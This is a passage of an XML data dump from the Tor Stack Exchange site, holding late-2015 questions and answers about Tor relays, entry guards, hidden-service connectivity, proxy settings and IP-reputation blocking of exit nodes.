3.0" />
  <row Id="9304" PostTypeId="2" ParentId="6646" CreationDate="2015-12-28T09:57:58.737" Score="4" Body="&lt;p&gt;It may not be the comprehensive answer you are looking for, but it's very common for larger companies to offsource the majority of their infrastructure gruntwork, including the handling and building of plain IP blocklists in response to perceived attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look for &lt;strong&gt;IP reputation&lt;/strong&gt;, you'll find that there are lots of companies offering such a service, and they are very attractive for larger companies, as they can show that they spend the money on these subscriptions for an unavoidable purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One well known, easy to find company states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An IP address earns a negative reputation when (OURCOMPANY) detects suspicious activity, such as spam or viruses originating from that address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now it is easy to conceive there does not need to be anyone involved in any malicious activities.  It's just their machine may be compromised and actually try to scan open relays or probe for exploits on other hosts without even their owner's realising it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, you can be sure there's a noticeable proportion of traffic originating from Tor exit points that can be considered malicious.  Considering this, it cannot be a problem that any tor user can avoid by tweaking settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this point on, it's not a technical, but a political problem - how much &lt;em&gt;risk&lt;/em&gt; can we ask from companies to take when accepting traffic from the IP addresses we share with potential attackers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then it's getting very mushy - some people are offended by open relay checks against their &lt;em&gt;not relaying&lt;/em&gt; SMTP server, and consider this an attack - whereas in reality, it might be 1kB traffic wasted - in a day with potentially gigabytes of traffic on an XXMbit/s link.  Who knows where to draw the line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not even sure we can convince any of those larger companies to make exceptions for TOR endpoints, as they have legitimate reasons (avoiding country based blocklists), that are against the policies, and wishes(!) of those very companies.&lt;/p&gt;&#xA;" OwnerUserId="10214" LastActivityDate="2015-12-28T09:57:58.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9305" PostTypeId="1" CreationDate="2015-12-28T14:12:48.913" Score="1" ViewCount="507" Body="&lt;p&gt;I have a HS server for web proxying purposes with an onion address. It's in a test phase at the moment and traffic is low, but from time to time the web server is not reachable using Tor Browser, however it is still accessible from a clearnet browser. &#xA;I have checked Tor logs during connection breakdown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dec 28 11:05:09.000 [notice] Bootstrapped 100%: Done&#xA;Dec 28 12:15:36.000 [notice] Tor has not observed any network activity for the past 632 seconds. Disabling circuit build timeout recording.&#xA;Dec 28 12:15:36.000 [notice] Tor now sees network activity. Restoring circuit build timeout recording. Network was down for 632 seconds during 1 circuit attempts.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restarting Tor and then Nginx solves the problem. What else can I check to figure out where the problem is, or how to fix it.&#xA;I don't know if it's relevant but IPv6 routing is not working because my hosting provider doesn't support it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server is Ubuntu 14.04, Tor v0.2.7.6, nginx/1.4.6 &lt;/p&gt;&#xA;" OwnerUserId="10329" LastEditorUserId="350" LastEditDate="2015-12-28T21:36:52.323" LastActivityDate="2016-10-10T19:48:47.473" Title="Tor does not restore circuit" Tags="|configuration|ubuntu|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9306" PostTypeId="1" CreationDate="2015-12-28T18:10:19.737" Score="1" ViewCount="364" Body="&lt;p&gt;I would like to use Tor via a thumb drive. I have gone thru a youtube video claiming that I have to download Tor bundle and extract the content to a thumb drive. I did follow the instructions, however, I couldn't find the Tor Browser from the bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please provide the correct link to download the current Tor bundle with Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="10333" LastEditorUserId="88" LastEditDate="2016-05-27T15:09:56.727" LastActivityDate="2016-05-27T15:09:56.727" Title="Can't find Tor Browser in the bundle" Tags="|tor-browser-bundle|configuration|windows|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9307" PostTypeId="1" CreationDate="2015-12-28T23:41:34.690" Score="0" ViewCount="279" Body="&lt;p&gt;I have recently set up a TOR relay (non-exit) and I am a little confused as to what the &quot;Connections&quot; tab in ARM is used for. For example, it will display something similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; x 104.111.105.133        --&amp;gt;  62.210.253.44 (fr)               7.0m (CIRCUIT)&#xA; x x  185.21.216.140 (gb)      x76zeusferal                       1 / Guard&#xA; x x  188.166.123.212 (nl)     dropsy                             2 / Middle&#xA; x mq 62.210.253.44 (fr)       TorRatiju                          3 / Exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe I understand the concept of TOR, but if I have configured TOR to be a relay (non-exit), shouldn't I be seeing it in the &lt;code&gt;Middle&lt;/code&gt; section as opposed to  &lt;code&gt;188.166.123.212&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could please get some explanation, that would be great. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10337" LastActivityDate="2015-12-29T02:24:37.407" Title="What is the connections tab in ARM used for?" Tags="|relays|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9308" PostTypeId="2" ParentId="9218" CreationDate="2015-12-29T00:11:01.920" Score="2" Body="&lt;p&gt;Probably has something to do with the GFW admins deploying something like this fairly recently described classifier. All the current obfuscators seem to fall to entropy distribution, header length, and decision tree-based machine learning attacks with very low false-positive rates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.acm.org/citation.cfm?doid=2810103.2813715&quot; rel=&quot;nofollow&quot;&gt;https://dl.acm.org/citation.cfm?doid=2810103.2813715&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this written by the people who design the GFW: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://crad.ict.ac.cn/CN/abstract/abstract3031.shtml&quot; rel=&quot;nofollow&quot;&gt;http://crad.ict.ac.cn/CN/abstract/abstract3031.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6937" LastEditorUserId="6937" LastEditDate="2015-12-29T00:22:52.113" LastActivityDate="2015-12-29T00:22:52.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9309" PostTypeId="2" ParentId="9307" CreationDate="2015-12-29T02:24:37.407" Score="1" Body="&lt;p&gt;It shows you all the conections your node uses. The example you're cited is one single circle, a 3-hop one. It says, thay you've used a Guard node as an entry, selected an intermediate(Middle) and exiting through a french node. This can be your connection through Tor, and - generally speaking - you should not be in Exit role in any of your connections, that's it! Feel free to ask if you need further help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T02:24:37.407" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9310" PostTypeId="2" ParentId="9305" CreationDate="2015-12-29T02:27:40.400" Score="-1" Body="&lt;p&gt;You have a 2-part issue. First, tune-up your sysctl's for a good network throughput. Second - tune up your &lt;code&gt;torrc&lt;/code&gt; for circuit timeouts e.t.c. Also make an ORport reachable from clearnet - it will eliminate the issue. Post your &lt;code&gt;sysctl -a&lt;/code&gt; and &lt;code&gt;torrc&lt;/code&gt; if you need specific help - I'll be glad to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T02:27:40.400" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9311" PostTypeId="2" ParentId="7503" CreationDate="2015-12-29T02:30:52.173" Score="0" Body="&lt;p&gt;This is not to be concerned seriously : blacklist era is gone with AtGuard :) But you should strongly consider running OBFSproxy on your relay, try obfs3 on 443 port. I'm running a mixed config myself, upgraded to bridge - and it seems that many people are using it. IP haven't been changed, of course&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T02:30:52.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9312" PostTypeId="2" ParentId="9303" CreationDate="2015-12-29T02:53:00.013" Score="0" Body="&lt;p&gt;I've solved exactly this problem on Ubuntu and Windows just like a charm. Here is what you need to do : compile Tor, I've used git source tree, you can use just stable version, and install it in a dedicated folder. I've used &lt;code&gt;/usr/tor&lt;/code&gt; on Ubuntu and &lt;code&gt;c:\tor&lt;/code&gt; on Windows. After that I've made a shortcut/symlink for a tor binary AND &lt;code&gt;torrc&lt;/code&gt;(!!important part!!) for Tor Browser Bundle inside it's directories, and - it works! =) Single-point configured, just running in the way I wish it to run. To find out where is your tor and torrc just run simple file search by name - it will show you the path.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T02:53:00.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9313" PostTypeId="2" ParentId="7126" CreationDate="2015-12-29T02:55:33.123" Score="0" Body="&lt;p&gt;Try to use FoxyProxy in Firefox. Tor Browser is a Firefox too. In case of problem persists, disable Torbutton and use just FoxyProxy.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T02:55:33.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9314" PostTypeId="2" ParentId="9306" CreationDate="2015-12-29T09:12:04.563" Score="1" Body="&lt;p&gt;Download the bundle from &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After download, run the downloaded exe and point it to your thumbdrive.&#xA;Run the shortcut it creates where you unpack it to start the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions with screenshots are located here:&#xA;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#windows&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en#windows&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-12-29T09:12:04.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9315" PostTypeId="2" ParentId="9105" CreationDate="2015-12-29T16:42:34.217" Score="1" Body="&lt;p&gt;It is not browser-specific by the way, the details about your device can be gathered via JavaScript and posted via xmlHttpRequest query as HTTP headers, by the way : see &lt;a href=&quot;https://stackoverflow.com/questions/19661157/how-to-add-header-data-in-xmlhttprequest-when-using-formdata&quot;&gt;this example&lt;/a&gt;. You need to use tcpdump or WireShark to check al the traffic, because xmlHttpRequest can ignore/avoid proxy settings...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2015-12-29T16:42:34.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9316" PostTypeId="2" ParentId="7345" CreationDate="2015-12-29T18:42:05.207" Score="0" Body="&lt;p&gt;It's absolutely fine, I'm using such a configuration myself : one for incoming ISP link, and a Raspberry Pi 2 for Tor. Just one &quot;pain-in-the-ass&quot; in this setup is COMPLETELY DISABLE UPnP, or some leaks will occur in applications and sometimes Tor can try to map something to itself. I've solved this by compiling Tor by hand without any UPnP support AND disabling UPnP on the outbound router. In my case Tor router has same 192.168.X.Y IP in the same network, so maybe this was an issue, but verifying a tcpdump after the actions I've told you : no attempts to bypass tor router were made. All the port mappings are made statically to statical internal IP's of my home lan.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T18:42:05.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9317" PostTypeId="2" ParentId="5964" CreationDate="2015-12-29T18:57:47.990" Score="0" Body="&lt;p&gt;If you're using Ubuntu Linux there's three steps to do what you want :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your reverse host name (type &lt;code&gt;hostname&lt;/code&gt; to find out) must be set STRICTLY to the IP of the interface you're using&lt;/li&gt;&#xA;&lt;li&gt;In &lt;strong&gt;IPtables&lt;/strong&gt; allow traffic from user you're running Tor under from desired interface ONLY, AND disable it through undesired one. Helps to solve alot of &quot;freezings&quot;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;ALL&lt;/strong&gt; the ip-binding config directives listed below, found it out myself in a hard way :&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ORPort IP:port&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;OutboundBindAddress IP&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;DirPort IP:port&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ServerTransportListenAddr transport IP:port&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the tricky case if your desired interface is like &lt;strong&gt;pppX&lt;/strong&gt;, where IP can be changed. In this case use a script to re-configure Tor through it's &lt;strong&gt;ControlPort&lt;/strong&gt; telnet protocol if you need it on-flight, or re-generate &lt;code&gt;torrc&lt;/code&gt; and send SIGHUP (killall -1 tor) to reload your config. That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T18:57:47.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9318" PostTypeId="1" CreationDate="2015-12-29T21:31:38.887" Score="2" ViewCount="98" Body="&lt;p&gt;I am using Tor in Tails. To verify that I am connected correctly, I go to IP-check.info.  Lately, IP-check.info is giving me a warning message &quot;..you are not using Tor correctly.  Your own IP address was uncovered as you do not enforce anonymity for all web addressees.&quot;  This was preceded with a initial warning that my proxy settings are wrong. I did not change anything from the time that I was not getting this warning to now.  However, I did notice some new behavior in the network settings of Tails.  When I first connect to wifi in Tails, before I execute Tor, an additional &quot;wired&quot; connection appears in the settings windows showing a device with a different mac address. It doesn't appear to be active, and it way have nothing to do with the warning I'm getting.  Your input and direction is appreciated.  Thank you.  &lt;/p&gt;&#xA;" OwnerUserId="10344" OwnerDisplayName="user10343" LastEditorUserId="10344" LastActivityDate="2016-08-12T01:16:42.573" Title="Proxy settings issue/HTTPS issue - warning message" Tags="|anonymity|proxy|https|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9319" PostTypeId="2" ParentId="7305" CreationDate="2015-12-29T21:35:32.953" Score="1" Body="&lt;p&gt;Try to use &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow&quot;&gt;scalion&lt;/a&gt; or something else to generate your keys. Your keys ARE binded to the address you've generated, no matter the way you've done it. So if you want to switch address - you need to re-generate your key. And - a word of warning. UNLESS your previous keys were hijacked by bad guys - put a redirect on the old address you've used. Just make it to preserve links unbroken.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T21:35:32.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9320" PostTypeId="2" ParentId="9318" CreationDate="2015-12-29T21:37:40.907" Score="0" Body="&lt;p&gt;Double-check your warnings, feel free to post them. And - there's a need to check your Tor console output. Is it working OK? You can post it here, so I'll be able to help you further, but basically Tails is not vulnerable in the way you've mentioned.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T21:37:40.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9321" PostTypeId="2" ParentId="6526" CreationDate="2015-12-29T22:21:19.250" Score="2" Body="&lt;p&gt;Polipo is the best choice! Here is an &lt;a href=&quot;http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/&quot; rel=&quot;nofollow&quot;&gt;official website&lt;/a&gt; and &lt;a href=&quot;https://github.com/jech/polipo&quot; rel=&quot;nofollow&quot;&gt;a GitHub repository&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-29T22:21:19.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9322" PostTypeId="2" ParentId="6665" CreationDate="2015-12-30T01:11:54.320" Score="0" Body="&lt;p&gt;To pot a proxy AFTER Tor, i.e. to make Tor use proxy to connect to the outside world use :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HTTPProxy + HTTPProxyAuthenticator username:password&lt;/li&gt;&#xA;&lt;li&gt;HTTPSProxy + HTTPSProxyAuthenticator username:password&lt;/li&gt;&#xA;&lt;li&gt;Socks4Proxy&lt;/li&gt;&#xA;&lt;li&gt;Socks5Proxy + Socks5ProxyPassword password&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;as it's clearly said in the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#NeedToUseAProxy&quot; rel=&quot;nofollow&quot;&gt;official FAQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-30T01:11:54.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9323" PostTypeId="1" CreationDate="2015-12-30T13:36:45.630" Score="0" ViewCount="430" Body="&lt;p&gt;I am new to Tor. I'm not using it for anything illegal or suspicious, I'm just trying to protect my privacy as best as I can from my ISP, NSA, etc. (primarily my IP address, and anything that could give up my personal identity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I accidentally logged into YouTube, Facebook and Twitter via Tor yesterday. Have I permanently blown my cover? Have I only blown it for yesterday's browsing? Do I need to buy a new computer or clean install my OS? I'm moving across the country (US) in a couple weeks - does that help my case at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also worth mentioning: The accounts I logged into were WORK accounts. I'm a comedian so I use social media to connect with fans. These channels are in my name but I don't use them for personal/private communication. Also, I'm not the only one with access to these accounts, so is it &quot;possible&quot; that someone who works for me logged into the accounts (manager, agent, assistant)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up: How big of a mistake was this? And if it was a big one, are there steps I can take to reverse it?&lt;/p&gt;&#xA;" OwnerUserId="10349" LastEditorUserId="10349" LastEditDate="2015-12-31T13:55:49.007" LastActivityDate="2015-12-31T13:55:49.007" Title="Can I permanently blow my anonimity on Tor?" Tags="|anonymity|deanonymization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9324" PostTypeId="2" ParentId="446" CreationDate="2015-12-30T16:37:04.577" Score="3" Body="&lt;h3&gt;Update 2015&lt;/h3&gt;&#xA;&lt;p&gt;IANA added &lt;code&gt;.onion&lt;/code&gt; to the list of &lt;a href=&quot;http://www.iana.org/assignments/special-use-domain-names/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Special-Use Domain Names&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This was based on &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7686&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 7686: The &amp;quot;.onion&amp;quot; Special-Use Domain Name&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Tor’s ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6116&quot; rel=&quot;nofollow noreferrer&quot;&gt;#6116: apply for .onion gTLD at IANA&lt;/a&gt; got closed.&lt;/p&gt;&#xA;&lt;p&gt;Everything’s fine.&lt;/p&gt;&#xA;" OwnerUserId="320" LastEditorUserId="-1" LastEditDate="2021-10-07T07:05:27.390" LastActivityDate="2015-12-30T16:37:04.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9325" PostTypeId="1" CreationDate="2015-12-30T18:00:04.457" Score="0" ViewCount="120" Body="&lt;p&gt;I have this code that will communicate with a server to send a data, I want it to send the data through TOR .I heard it uses the SOCKS protocol, So how can I use my client app to communicate over TOR with my server.Here is my code that sends data over regular HTTP protocol&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public void sendKey()&#xA;    {&#xA;        string url=&quot;http://localhost:8731/savekey.aspx&quot;;&#xA;        WebClient webClient = new WebClient();&#xA;        NameValueCollection formData = new NameValueCollection();            &#xA;        formData[&quot;clientpassword&quot;] = encryptedPassword;&#xA;        byte[] responseBytes = webClient.UploadValues(url,&quot;POST&quot;,formData);&#xA;        webClient.Dispose();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10351" LastActivityDate="2021-12-21T20:03:20.260" Title="torify a c# application" Tags="|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9326" PostTypeId="2" ParentId="242" CreationDate="2015-12-30T23:43:53.870" Score="1" Body="&lt;p&gt;Although the answer has been accepted, I have some sort of update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While everything &quot;weasel&quot; said is true, we now have the Raspberry 2,&#xA;that works perfectly as it features an ARMv7 CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: Go ahead and add the Debian armhf repo of&#xA;the Tor project and it will result in an up-to-date setup that's&#xA;working like a charm (as long as you use a Raspberry 2 model)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-creo&lt;/p&gt;&#xA;" OwnerUserId="10355" LastActivityDate="2015-12-30T23:43:53.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9327" PostTypeId="2" ParentId="9323" CreationDate="2015-12-31T02:51:03.177" Score="1" Body="&lt;p&gt;It's probably not that big of a mistake, as long as you obtained a new Tor identity after you were done (e.g., quit the Tor browser bundle, then restarted it before using Tor for more anonymous purposes). Each time you restart Tor (details vary depending on how you have Tor installed and configured), you will have a new anonymous &quot;identity&quot;, in theory distinct from any other past or future Tor identities you may have over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The services you logged into now have a record that you (or someone on your team) at some time logged in via a Tor IP address. Some 3rd-party (and 1st-party) trackers may be able to correlate and know that you visited the sites you did. Other users of your work accounts may, depending on the service, be able to see the IP address you logged in from and identify it as a Tor IP address. Your ISP knows only that you connected to Tor, not where you went on Tor or what you did. The Tor exit node could potentially track the sites you went to, but without further exploits, they don't know who you are or where you really are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very sophisticated attacker (e.g., state actor) with access to your ISP traffic and your Tor exit node could potentially correlate and determine what sites you went to. But your connections to most of the services you mention will have used TLS (AKA SSL), so the individual traffic from your browser to each service would be encrypted end-to-end (assuming no further exploits to break the encryption).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your fans will not know where you were when you logged into the services, and neither will the services unless you told them.&lt;/p&gt;&#xA;" OwnerUserId="62" LastActivityDate="2015-12-31T02:51:03.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9328" PostTypeId="2" ParentId="9323" CreationDate="2015-12-31T02:57:40.990" Score="1" Body="&lt;p&gt;Oh man! You need to sell everything you own now!!! :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that happened is your accounts are logged with a known Tor exit node. Thus, you are identified as a Tor user now if logs are checked for any reason. Of course you cant delete their logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pro Tip: If you don't know how a type of technology works, you probably shouldn't use it until you do. Take time to read a Tor white paper...&lt;/p&gt;&#xA;" OwnerUserId="10188" LastActivityDate="2015-12-31T02:57:40.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9330" PostTypeId="1" CreationDate="2015-12-31T13:35:48.003" Score="1" ViewCount="593" Body="&lt;p&gt;I used tor with success for a long time, then all of a sudden, almost every site would give me the &quot;one more step&quot; cloudflare page, after a few months this stopped, and tor worked fine again for months, but now it's back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like someone flicked a switch. The only thing I can think of is my virgin media ip recently changed after a connection problem I had to call them about. But I use a vpn. But thinking about it, I'm sure the problem started before my ip change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the hell happened to my tor connection?&lt;/p&gt;&#xA;" OwnerUserId="10359" LastActivityDate="2016-01-10T13:38:25.650" Title="Getting cloudflared all of a sudden, why?" Tags="|vpn|cloudflare|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9333" PostTypeId="1" CreationDate="2015-12-31T17:03:52.677" Score="3" ViewCount="4732" Body="&lt;p&gt;I've been using Tor Browser Bundle for a long time, and it used to always pick a different circuit for every site, including changing the entry node for every circuit but then it just suddenly became static with the entry nodes. The version didn't change, it was the latest one and behaved &quot;normally&quot; (as it always used to) before starting doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My entry node always stays the same, and doesn't change, even when connecting to different sites, even after using New Tor Circuit for this Site. Even after restarting Tor Browser, the entry node is still the same, for every circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The circuits themselves do change and are different each time, just the entry node always stays the same.&#xA;It's driving me crazy. I've even reinstalled Tor Browser multiple times, that actually did change the entry node I was connecting to, but again, it was the same one for every circuit and every site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really see a security risk in this but it seems suspicious since there was no update before this started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? Is this normal Tor behavior now?&lt;/p&gt;&#xA;" OwnerUserId="10362" LastActivityDate="2021-06-03T14:12:58.867" Title="In Tor Browser, I connect to the exact same entry node all the time, unable to change it" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2021-06-02T18:21:32.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="9334" PostTypeId="2" ParentId="4099" CreationDate="2016-01-01T00:35:24.870" Score="5" Body="&lt;p&gt;This is the normal behaviour for entry guards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor FAQ &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#EntryGuards&quot; rel=&quot;noreferrer&quot;&gt;explains&lt;/a&gt; why we'd want to do this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... But profiling is, for most users, as bad as being traced all the&#xA;  time: they want to do something often without an attacker noticing,&#xA;  and the attacker noticing once is as bad as the attacker noticing more&#xA;  often. Thus, &lt;strong&gt;choosing many random entries and exits gives the user no&#xA;  chance of escaping profiling&lt;/strong&gt; by this kind of attacker.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To simplify: the more often you change your guard node, the more chance there is of connecting to one owned by the Bad Guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The length of time you use the same guard for is called the &lt;em&gt;rotation period&lt;/em&gt;. More details about this can be found in &lt;a href=&quot;http://freehaven.net/~arma/cogs-wpes.pdf&quot; rel=&quot;noreferrer&quot;&gt;Changing of the Guards&lt;/a&gt; and &lt;a href=&quot;https://petsymposium.org/2014/papers/Dingledine.pdf&quot; rel=&quot;noreferrer&quot;&gt;One Fast Guard for Life&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-01T00:35:24.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9335" PostTypeId="2" ParentId="6203" CreationDate="2016-01-01T00:50:30.953" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9601&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; old ticket, you'll probably have to use &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt;...&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-01T00:50:30.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9336" PostTypeId="2" ParentId="9325" CreationDate="2016-01-01T01:07:57.060" Score="0" Body="&lt;p&gt;You'll need to add a proxy in there somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The classes you're using &lt;a href=&quot;https://stackoverflow.com/a/13123733/2875107&quot;&gt;don't support SOCKS proxying&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to get around this would be to &lt;a href=&quot;https://tor.stackexchange.com/a/1989/1730&quot;&gt;use Privoxy&lt;/a&gt;, then proxy using the appropriate port. The (simplified) pertinent code then becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WebClient client = new WebClient();&#xA;WebProxy wp = new WebProxy(&quot;127.0.0.1:8118&quot;);&#xA;client.Proxy = wp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-01-01T01:07:57.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
